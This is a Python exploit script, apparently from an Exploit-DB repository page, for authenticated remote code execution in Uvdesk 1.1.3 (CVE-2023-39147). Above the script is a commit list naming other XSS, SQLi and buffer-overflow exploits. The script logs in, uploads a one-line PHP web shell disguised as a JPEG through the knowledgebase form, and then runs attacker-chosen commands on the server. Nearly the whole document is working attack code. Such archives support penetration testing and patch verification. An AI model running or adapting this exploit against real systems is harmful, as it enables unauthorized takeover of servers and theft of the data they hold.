5eb89a2046
5 changes to exploits/shellcodes/ghdb Joomla iProperty Real Estate 4.1.1 - Reflected XSS Joomla Solidres 2.13.3 - Reflected XSS RosarioSIS 10.8.4 - CSV Injection Uvdesk v1.1.3 - File Upload Remote Code Execution (RCE) (Authenticated) WordPress Plugin AN_Gradebook 5.0.1 - SQLi General Device Manager 2.5.2.2 - Buffer Overflow (SEH)
54 lines
No EOL
1.6 KiB
Python
Executable file
54 lines
No EOL
1.6 KiB
Python
Executable file
# Exploit Title: Uvdesk v1.1.3 - File Upload Remote Code Execution (RCE) (Authenticated)
|
|
# Date: 28/07/2023
|
|
# Exploit Author: Daniel Barros (@cupc4k3d) - Hakai Offensive Security
|
|
# Vendor Homepage: https://www.uvdesk.com
|
|
# Software Link: https://github.com/uvdesk/community-skeleton
|
|
# Version: 1.1.3
|
|
# Example: python3 CVE-2023-39147.py -u "http://$ip:8000/" -c "whoami"
|
|
# CVE : CVE-2023-39147
|
|
# Tested on: Ubuntu 20.04.6
|
|
|
|
|
|
import requests
|
|
import argparse
|
|
|
|
def get_args():
|
|
parser = argparse.ArgumentParser()
|
|
parser.add_argument('-u', '--url', required=True, action='store', help='Target url')
|
|
parser.add_argument('-c', '--command', required=True, action='store', help='Command to execute')
|
|
my_args = parser.parse_args()
|
|
return my_args
|
|
|
|
def main():
|
|
args = get_args()
|
|
base_url = args.url
|
|
|
|
command = args.command
|
|
uploaded_file = "shell.php"
|
|
url_cmd = base_url + "//assets/knowledgebase/shell.php?cmd=" + command
|
|
|
|
# Edit your credentials here
|
|
login_data = {
|
|
"_username": "admin@adm.com",
|
|
"_password": "passwd",
|
|
"_remember_me": "off"
|
|
}
|
|
|
|
files = {
|
|
"name": (None, "pwn"),
|
|
"description": (None, "xxt"),
|
|
"visibility": (None, "public"),
|
|
"solutionImage": (uploaded_file, "<?php system($_GET['cmd']); ?>", "image/jpg")
|
|
}
|
|
|
|
s = requests.session()
|
|
# Login
|
|
s.post(base_url + "/en/member/login", data=login_data)
|
|
# Upload
|
|
upload_response = s.post(base_url + "/en/member/knowledgebase/folders/new", files=files)
|
|
# Execute command
|
|
cmd = s.get(url_cmd)
|
|
print(cmd.text)
|
|
|
|
if __name__ == "__main__":
|
|
main() |